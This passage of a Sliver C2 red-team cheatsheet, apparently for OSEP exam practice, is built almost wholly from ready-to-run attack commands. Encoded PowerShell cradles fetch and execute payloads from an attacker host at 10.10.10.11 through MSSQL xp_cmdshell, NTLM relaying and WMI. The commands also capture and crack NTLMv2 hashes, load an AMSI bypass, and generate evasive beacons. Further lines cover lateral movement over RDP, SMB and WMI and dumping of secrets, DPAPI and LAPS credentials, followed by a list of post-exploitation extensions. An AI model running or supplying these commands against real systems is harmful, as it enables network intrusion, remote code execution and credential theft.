sqlrecon -- /a:wintoken /h:sql01 /m:xpcmd /i:sa /c:ipconfig


# Get shell through sql01
inline-execute-assembly -t 20 /home/kali/tools/bins/csharp-files/SQLRecon.exe '/a:wintoken /h:sql01 /m:xpcmd /c:"powershell -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAwAC4AMQAxAC8AaABhAHYAMABjAC0AcABzAC4AdAB4AHQAJwApACAAfAAgAEkARQBYAA=="'


# Enumerate links
sqlrecon -- /a:wintoken /h:sql01 /m:links
```

**Links Exploitation**

The links exploitation of SQLRecon is limited. Use MSSQLand to ease the process and to impersonate user across multiple links.

```powershell
# Links & Crawling - https://github.com/skahwah/SQLRecon/wiki/5.-Linked-Modules
# Essentially, its just adding /l:server and then rest of the query is same as before
# Enumerate links
sqlrecon -t 20 -- /auth:Local /u:localuser /p:password /h:sql01 /m:links


# Run SQL queries on the linked server
sqlrecon -- '/auth:Local /u:localuser /p:password /h:sql01 /m:query /command:"SELECT srvname, srvproduct, rpcout FROM master..sysservers"'


# Run further modules to get info/whoami/user and server name
sqlrecon -t 20 -- '/auth:Local /u:localuser /p:password /h:sql01 /l:sql02 /m:info'
sqlrecon -t 20 -- '/auth:Local /u:localuser /p:password /h:sql01 /l:sql02 /m:whoami'
sqlrecon -t 20 -- '/auth:Local /u:localuser /p:password /h:sql01 /l:sql02 /m:query /c:"select @@servername"'
sqlrecon -t 20 -- '/auth:Local /u:localuser /p:password /h:sql01 /l:sql02 /m:query /c:"select SYSTEM_USER"'


# Check RPC enabled
sqlrecon -t 20 -- /auth:Local /u:localuser /p:password /h:sql01 /l:sql02 /m:checkrpc
sqlrecon -t 20 -- /auth:Local /u:localuser /p:password /h:sql01 /l:sql03 /m:checkrpc


# Enable xpcmd
sqlrecon -t 20 -- /auth:Local /u:localuser /p:password /h:sql01 /l:sql02 /m:enablexp
sqlrecon -t 20 -- /auth:Local /u:localuser /p:password /h:sql01 /l:sql03 /m:enablexp


# Shell for sql02
inline-execute-assembly -t 50 /home/kali/tools/bins/csharp-files/SQLRecon.exe '/auth:Local /u:localuser /p:password /h:sql01 /l:sql02 /m:xpcmd /c:"powershell -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAwAC4AMQAxAC8AaABhAHYAMABjAC0AcABzAC4AdAB4AHQAJwApACAAfAAgAEkARQBYAA=="'
```

#### MSSQL - Relaying & Impersonation

Really good article on relaying to MSSQL

* <https://lsecqt.github.io/Red-Teaming-Army/active-directory/compromising-mssql-databases-by-relaying/>

```shell
# Force SMB callback from sql01 to capture NTLMv2 hash (start responder first)
execute-assembly -t 20 /home/kali/tools/bins/csharp-files/MSSQLand.exe sql01 -c token smb 10.10.10.11

# We get the following hash
[SMB] NTLMv2-SSP Client   : 192.168.10.30
[SMB] NTLMv2-SSP Username : domain\user
[SMB] NTLMv2-SSP Hash     : attacker::domain:f73cde60c9c0edd4:...:010100000.....


# Attempt to crack the hash received within responder
hashcat -m 5600 attacker.hash /usr/share/wordlists/rockyou.txt --force

# Write all hosts into the file and relay to all
sudo impacket-ntlmrelayx --no-http-server -smb2support -tf hosts.txt -c 'powershell -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAwAC4AMQAxAC8AaABhAHYAMABjAC0AcABzAC4AdAB4AHQAJwApACAAfAAgAEkARQBYAA=='

# Relaying to single host
sudo impacket-ntlmrelayx --no-http-server -smb2support -t 172.16.100.110 -c 'powershell -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAwAC4AMQAxAC8AaABhAHYAMABjAC0AcABzAC4AdAB4AHQAJwApACAAfAAgAEkARQBYAA=='

# Relay directly to MSSQL
sudo proxychains impacket-ntlmrelayx --no-http-server -smb2support -t mssql://172.16.100.110 -c 'powershell -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAwAC4AMQAxAC8AaABhAHYAMABjAC0AcABzAC4AdAB4AHQAJwApACAAfAAgAEkARQBYAA=='
```

#### PowerUPSQL

> Backup if everything fails

```powershell
# Open powershell shell
shell


# Load the scripts 
IEX(New-Object Net.webclient).downloadString("http://10.10.10.11/powershell-scripts/amsi.txt")
IEX(New-Object Net.webclient).downloadString("http://10.10.10.11/powershell-scripts/PowerUpSQL.ps1")
IEX(New-Object Net.webclient).downloadString("http://10.10.10.11/powershell-scripts/Inveigh.ps1")


# Run SQL Queries for enumeration
Get-SQLQuery -Instance "192.168.130.10" -Query "select @@servername"
Get-SQLQuery -Instance "192.168.130.10" -Query "SELECT name, principal_id, type_desc, is_disabled FROM sys.server_principals;"
Get-SQLQuery -Instance "192.168.130.10" -Query "EXECUTE AS login = 'webuser'; SELECT SYSTEM_USER;"


# Escalate privs using impersonation and run command
Invoke-SQLEscalatePriv -Verbose -Instance 192.168.130.10
Invoke-SQLOSCmd -Instance 192.168.130.10 -Command "whoami"


# Run SQL Queries for checking impersonation
Get-SQLQuery -Instance "192.168.130.10" -Query "SELECT name, principal_id, type_desc, is_disabled FROM sys.server_principals;"


# UNC Lookup
Invoke-SQLUncPathInjection -Instance 192.168.130.10 -Verbose -CaptureIp 10.10.10.11
```

### Armory

#### SharpLaps

```powershell
sharplaps /host:DC06 /target:machine06
sharplaps /host:DC06 /target:client
```

#### SharpView

```powershell
sharpview -- 'Get-DomainComputer -Properties ms-mcs-admpwd,ms-mcs-admpwdexpirationtime'
sharpview -- 'Get-DomainComputer -Identity machine03.domain.com -Properties ms-mcs-admpwd,ms-mcs-admpwdexpirationtime'
```

#### SharpHound

Better to use the version from GitHub, the above one is outdated

```powershell
sharp-hound-4
sharp-hound-4 -- '-C all'
```

#### SharpSecDump

Port of impacket-secretsdump but within C# - handy.

```powershell
sharpsecdump -- -target=machine02.domain.com -u=Administrator -d=. -p='password'
```

#### sharpsh

```powershell
sharpsh -t 20 -- '-u http://10.10.10.11/powershell-scripts/PowerView.ps1 -c "Get-DomainComputer machine03.domain.com"'
sharpsh -t 20 -- '-u http://10.10.10.11/powershell-scripts/PowerView.ps1 -c "Get-DomainComputer machine02.domain.com"'

sharpsh -- -c '$ExecutionContext.SessionState.LanguageMode'
sharpsh -- '-c "whoami /all"'
```

#### SharpMapExec

Whole description -> <https://github.com/cube0x0/SharpMapExec>

```powershell
# Enable WinRM
sharpmapexec -- 'ntlm winrm /user:Administrator /password:"password" /domain:. /computername:machine02.domain.com /m:enable_winrm'
```

#### SharpUp

```powershell
sharpup
sharpup audit
```

#### SharpRDP

> Works through the RDP portal if or when SMB and other ports are turned off.

```powershell
# Sliver - Powershell works but after line fails
execute-assembly -t 50 /home/kali/tools/bins/csharp-files/SharpRDP.exe computername=hostname01 command="powershell IEX((new-object net.webclient).downloadstring('http://10.10.10.11/hav0c-ps.txt'))" username=corp1\\user password=password
sharprdp -- computername=machine06 username=Administrator password=password command=notepad


# This works, generate beacon and upload on host
generate beacon --http 10.10.10.11:8088 --name sliver.beacon --os windows --seconds 5 --jitter 0 --evasion --save /home/kali/OSEP/hav0c/


# Upload on host
make-token -d . -u Administrator -p 'password'
upload /home/kali/OSEP/hav0c/sliver.beacon.exe //machine06/c$/windows/temp/sliver2.beacon.exe
ls //machine06/c$/windows/temp/


# Execute using sharprdp
sharprdp -- computername=machine06 password=password username=Administrator command=C:\\Windows\\Temp\\sliver2.beacon.exe
```

#### Rubeus

```powershell
rubeus -- tgtdeleg /nowrap
rubeus -t 30 -- monitor /interval:5 /runfor:15 /nowrap
```

#### NoPowerShell

> Limited cmdlets supported, use the second command to see the list

* <https://github.com/bitsadmin/nopowershell>
* <https://github.com/bitsadmin/nopowershell/blob/master/CHEATSHEET.md>

```powershell
nps 'Get-ADUser -Filter *'
nps Get-Command
```

#### Sharp-SMBExec

```powershell
Sharp-SMBExec.exe hash:"hash" username:"username" domain:"domain.tld" target:"target.domain.tld" command:"command"

sharp-smbexec hash:"ffffffffffffffffffffffffffffffff" username:"Administrator" domain:"infinity.com" target:"machine02.domain.com" command:"ls"
```

#### SharpDPAPI

```powershell
SharpDPAPI.exe masterkeys /pvk:key.pvk

sharpdpapi masterkeys /hashes:ffffffffffffffffffffffffffffffff

sharpdpapi credentials
sharpdpapi vaults

sharpdpapi machinemasterkeys
```

#### SharpWMI

```powershell
sharp-wmi 

make-token -d . -u Administrator -p 'password'
sharp-wmi action=exec computername=machine02.domain.com command=C:\\Windows\\Temp\\sliver2.beacon.exe result=true amsi=disable


runas -d . -u Administrator -P 'password' -n -p C:\\Windows\\tasks\\sliver.beacon.exe

upload /home/kali/OSEP/hav0c/sliver.beacon.exe //machine06/c$/windows/temp/sliver2.beacon.exe
ls //machine06/c$/windows/temp/

# Execute using sharprdp
sharprdp -- computername=machine06 password='password' username=Administrator command=C:\\Windows\\Temp\\sliver2.beacon.exe

```

### BOFs

#### jump-psexec

```powershell
jump-psexec dc04 AgentSvc /home/kali/OSEP/hav0c/sliver.x64.exe //dc04/c$/file2.exe
```

#### jump-wmiexec

```powershell
jump-wmiexec client09 'powershell -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAwAC4AMQAxAC8AaABhAHYAMABjAC0AcABzAC4AdAB4AHQAJwApACAAfAAgAEkARQBYAA=='
```

### Armory Packages List

```powershell
sliver > armory install all

? Install 21 aliases and 140 extensions? Yes
[*] Installing alias 'SharPersist' (v0.0.2) ... done!
[*] Installing alias 'sqlrecon' (v3.8.0) ... done!
[*] Installing alias 'SharpLAPS' (v0.0.1) ... done!
[*] Installing alias 'SharpView' (v0.0.1) ... done!
[*] Installing alias 'SharpHound v4' (v0.0.2) ... done!
[*] Installing alias 'SharpSecDump' (v0.0.1) ... done!
[*] Installing alias 'sharpsh' (v0.0.1) ... done!
[*] Installing alias 'SharpMapExec' (v0.0.1) ... done!
[*] Installing alias 'KrbRelayUp' (v0.0.2) ... done!
[*] Installing alias 'Certify' (v0.0.4) ... done!
[*] Installing alias 'SharpUp' (v0.0.2) ... done!
[*] Installing alias 'Sharp Hound 3' (v0.0.2) ... done!
[*] Installing alias 'SharpSCCM' (v2.0.12) ... done!
[*] Installing alias 'SharpRDP' (v0.0.1) ... done!
[*] Installing alias 'Rubeus' (v0.0.25) ... done!
[*] Installing alias 'NoPowerShell' (v0.0.2) ... done!
[*] Installing alias 'Sharp SMBExec' (v0.0.3) ... done!
[*] Installing alias 'SharpDPAPI' (v0.0.4) ... done!
[*] Installing alias 'Sharp WMI' (v0.0.2) ... done!
[*] Installing alias 'Seatbelt' (v0.0.6) ... done!
[*] Installing alias 'SharpChrome' (v0.0.4) ... done!
[*] Installing extension 'ldapsigncheck' (v0.0.1) ... done!
[*] Installing extension 'c2tc-psx' (v0.0.9) ... done!
[*] Installing extension 'remote-shspawnas' (v0.1.1) ... done!
[*] Installing extension 'remote-sc-create' (v0.1.1) ... done!
[*] Installing extension 'inject-ntqueueapcthread' (v0.1.1) ... done!
[*] Installing extension 'sa-get-netsession' (v0.0.23) ... done!
[*] Installing extension 'jump-wmiexec' (v0.0.2) ... done!
[*] Installing extension 'sa-nettime' (v0.0.23) ... done!
[*] Installing extension 'remote-reg-save' (v0.1.1) ... done!
[*] Installing extension 'handlekatz' (v0.0.1) ... done!
[*] Installing extension 'sa-sc-qfailure' (v0.0.23) ... done!
[*] Installing extension 'c2tc-psw' (v0.0.9) ... done!
[*] Installing extension 'inject-svcctrl' (v0.1.1) ... done!
[*] Installing extension 'c2tc-psm' (v0.0.9) ... done!
[*] Installing extension 'remote-schtasks-delete' (v0.1.1) ... done!
[*] Installing extension 'sa-adcs-enum-com2' (v0.0.23) ... done!
[*] Installing extension 'sa-schtasksquery' (v0.0.23) ... done!
[*] Installing extension 'credman' (v1.0.7) ... done!
[*] Installing extension 'nanorobeus' (v0.0.2) ... done!
[*] Installing extension 'sa-get-password-policy' (v0.0.23) ... done!
[*] Installing extension 'remote-setuserpass' (v0.1.1) ... done!
[*] Installing extension 'tgtdelegation' (v0.0.4) ... done!
[*] Installing extension 'sa-netstat' (v0.0.23) ... done!
[*] Installing extension 'sa-sc-qdescription' (v0.0.23) ... done!
[*] Installing extension 'delegationbof' (v0.0.2) ... done!
[*] Installing extension 'raw-keylogger' (v0.0.7) ... done!
[*] Installing extension 'inject-clipboard' (v0.1.1) ... done!
[*] Installing extension 'remote-sc-start' (v0.1.1) ... done!
[*] Installing extension 'inject-amsi-bypass' (v0.0.2) ... done!
[*] Installing extension 'remote-chrome-key' (v0.1.1) ... done!
[*] Installing extension 'remote-reg-set' (v0.1.1) ... done!
[*] Installing extension 'sa-adv-audit-policies' (v0.0.23) ... done!
[*] Installing extension 'c2tc-psk' (v0.0.9) ... done!
[*] Installing extension 'sa-netlocalgroup2' (v0.0.23) ... done!
[*] Installing extension 'sa-notepad' (v0.0.23) ... done!
[*] Installing extension 'sa-driversigs' (v0.0.23) ... done!
[*] Installing extension 'nanodump' (v0.0.5) ... done!
[*] Installing extension 'sa-listdns' (v0.0.23) ... done!
[*] Installing extension 'c2tc-petitpotam' (v0.0.9) ... done!
[*] Installing extension 'sa-list_firewall_rules' (v0.0.23) ... done!
[*] Installing extension 'sa-cacls' (v0.0.23) ... done!
[*] Installing extension 'sa-ldapsearch' (v0.0.23) ... done!
[*] Installing extension 'sa-routeprint' (v0.0.23) ... done!
[*] Installing extension 'c2tc-smbinfo' (v0.0.9) ... done!
[*] Installing extension 'sa-netshares' (v0.0.23) ... done!
[*] Installing extension 'remote-get_priv' (v0.1.1) ... done!
[*] Installing extension 'sa-ipconfig' (v0.0.23) ... done!
[*] Installing extension 'inject-dde' (v0.1.1) ... done!
[*] Installing extension 'remote-reg-delete' (v0.1.1) ... done!
[*] Installing extension 'remote-adduser' (v0.1.1) ... done!
[*] Installing extension 'inject-createremotethread' (v0.1.1) ... done!
[*] Installing extension 'bof-servicemove' (v0.0.1) ... done!
[*] Installing extension 'sa-vssenum' (v0.0.23) ... done!
[*] Installing extension 'sa-regsession' (v0.0.23) ... done!
[*] Installing extension 'inject-setthreadcontext' (v0.1.1) ... done!
[*] Installing extension 'sa-adcs-enum-com' (v0.0.23) ... done!
[*] Installing extension 'sa-schtasksenum' (v0.0.23) ... done!
[*] Installing extension 'remote-procdump' (v0.1.1) ... done!
[*] Installing extension 'sa-wmi-query' (v0.0.23) ... done!
[*] Installing extension 'c2tc-domaininfo' (v0.0.9) ... done!
[*] Installing extension 'remote-sc_failure' (v0.1.1) ... done!
[*] Installing extension 'sa-whoami' (v0.0.23) ... done!
[*] Installing extension 'secinject' (v0.0.1) ... done!
[*] Installing extension 'remote-sc-delete' (v0.1.1) ... done!
[*] Installing extension 'remote-addusertogroup' (v0.1.1) ... done!
[*] Installing extension 'hollow' (v0.0.1) ... done!
[*] Installing extension 'coff-loader' (v1.0.14) ... done!
[*] Installing extension 'sa-enum-local-sessions' (v0.0.23) ... done!
[*] Installing extension 'remote-unexpireuser' (v0.1.1) ... done!
[*] Installing extension 'sa-reg-query' (v0.0.23) ... done!
[*] Installing extension 'sa-sc-enum' (v0.0.23) ... done!
[*] Installing extension 'hashdump' (v1.0.0) ... done!
[*] Installing extension 'inject-ctray' (v0.1.1) ... done!
[*] Installing extension 'sa-find-loaded-module' (v0.0.23) ... done!
[*] Installing extension 'c2tc-kerberoast' (v0.0.9) ... done!
[*] Installing extension 'remote-schtasksrun' (v0.1.1) ... done!
[*] Installing extension 'inject-etw-bypass' (v0.0.3) ... done!
[*] Installing extension 'remote-office-tokens' (v0.1.1) ... done!
[*] Installing extension 'sa-listmods' (v0.0.23) ... done!
[*] Installing extension 'inline-execute-assembly' (v0.0.1) ... done!
[*] Installing extension 'c2tc-psc' (v0.0.9) ... done!
[*] Installing extension 'sa-sc-qtriggerinfo' (v0.0.23) ... done!
[*] Installing extension 'syscalls_shinject' (v0.0.1) ... done!
[*] Installing extension 'sa-locale' (v0.0.23) ... done!
[*] Installing extension 'c2tc-winver' (v0.0.9) ... done!
[*] Installing extension 'chromiumkeydump' (v0.0.2) ... done!
[*] Installing extension 'sa-adcs-enum' (v0.0.23) ... done!
[*] Installing extension 'sa-netloggedon2' (v0.0.23) ... done!
[*] Installing extension 'remote-adcs-request' (v0.1.1) ... done!
[*] Installing extension 'sa-nslookup' (v0.0.23) ... done!
[*] Installing extension 'kerbrute' (v0.0.1) ... done!
[*] Installing extension 'bof-roast' (v0.0.2) ... done!
[*] Installing extension 'find-proc-handle' (v0.0.2) ... done!
[*] Installing extension 'remote-enable-user' (v0.1.1) ... done!
[*] Installing extension 'remote-slack_cookie' (v0.1.1) ... done!
[*] Installing extension 'remote-sc-description' (v0.1.1) ... done!
[*] Installing extension 'sa-uptime' (v0.0.23) ... done!
[*] Installing extension 'sa-tasklist' (v0.0.23) ... done!
[*] Installing extension 'sa-netuptime' (v0.0.23) ... done!
[*] Installing extension 'inject-ntcreatethread' (v0.1.1) ... done!
[*] Installing extension 'mimikatz' (v0.0.1) ... done!
[*] Installing extension 'jump-psexec' (v0.0.2) ... done!
[*] Installing extension 'sa-arp' (v0.0.23) ... done!
[*] Installing extension 'sa-sc-qc' (v0.0.23) ... done!
[*] Installing extension 'inject-conhost' (v0.1.1) ... done!
[*] Installing extension 'sa-enum-filter-driver' (v0.0.23) ... done!
[*] Installing extension 'winrm' (v0.0.1) ... done!
[*] Installing extension 'remote-ghost_task' (v0.1.1) ... done!
[*] Installing extension 'sa-env' (v0.0.23) ... done!
[*] Installing extension 'remote-lastpass' (v0.1.1) ... done!
[*] Installing extension 'remote-sc-stop' (v0.1.1) ... done!
[*] Installing extension 'c2tc-lapsdump' (v0.0.9) ... done!
[*] Installing extension 'sa-netlocalgroup' (v0.0.23) ... done!
[*] Installing extension 'remote-suspendresume' (v0.1.1) ... done!
[*] Installing extension 'c2tc-spray-ad' (v0.0.9) ... done!
[*] Installing extension 'scshell' (v0.0.2) ... done!
[*] Installing extension 'sa-netview' (v0.0.23) ... done!
[*] Installing extension 'inject-tooltip' (v0.1.1) ... done!
[*] Installing extension 'remote-process-destroy' (v0.1.1) ... done!
[*] Installing extension 'unhook-bof' (v0.0.2) ... done!
[*] Installing extension 'sa-sc-query' (v0.0.23) ... done!
[*] Installing extension 'inject-uxsubclassinfo' (v0.1.1) ... done!
[*] Installing extension 'c2tc-askcreds' (v0.0.9) ... done!
[*] Installing extension 'remote-schtasks-stop' (v0.1.1) ... done!
[*] Installing extension 'sa-windowlist' (v0.0.23) ... done!
[*] Installing extension 'c2tc-kerbhash' (v0.0.9) ... done!
[*] Installing extension 'c2tc-addmachineaccount' (v0.0.9) ... done!
[*] Installing extension 'sa-netgroup' (v0.0.23) ... done!
[*] Installing extension 'sa-get-netsession2' (v0.0.23) ... done!
[*] Installing extension 'sa-probe' (v0.0.23) ... done!
[*] Installing extension 'find-module' (v0.0.2) ... done!
[*] Installing extension 'inject-kernelcallbacktable' (v0.1.1) ... done!
[*] Installing extension 'threadless-inject' (v0.0.1) ... done!
[*] Installing extension 'remote-process-list-handles' (v0.1.1) ... done!
[*] Installing extension 'c2tc-wdtoggle' (v0.0.9) ... done!
[*] Installing extension 'c2tc-startwebclient' (v0.0.9) ... done!
[*] Installing extension 'sa-netloggedon' (v0.0.23) ... done!
[*] Installing extension 'remote-sc-config' (v0.1.1) ... done!
[*] Installing extension 'patchit' (v0.0.1) ... done!
[*] Installing extension 'c2tc-klist' (v0.0.9) ... done!

[*] All packages installed
```

### Star History

[![Star History Chart](https://api.star-history.com/svg?repos=Anon-Exploiter/sliver-cheatsheet\&type=date\&legend=top-left)](https://www.star-history.com/#Anon-Exploiter/sliver-cheatsheet\&type=date\&legend=top-left)

### Credits

The commands and scripts used throughout the cheatsheet have either been taken out the documentation, manual trial and error or from helpful people from Discord within the OffSec server. If there is any script of yours you'd like to reference to yourself, feel free to make a PR within this section.

* [Nzf07](https://github.com/Nzf07) for sharing his Sliver notes and for his PRs updating the cheatsheet
* NoelFrey for reference to `BOF`
* ArsZilla for execution of `SweetPotato` with `execute-assembly`
* CrashOverRide for sharing several commands throughout the cheatsheet
* Anoetic for sharing his Sliver notes


---

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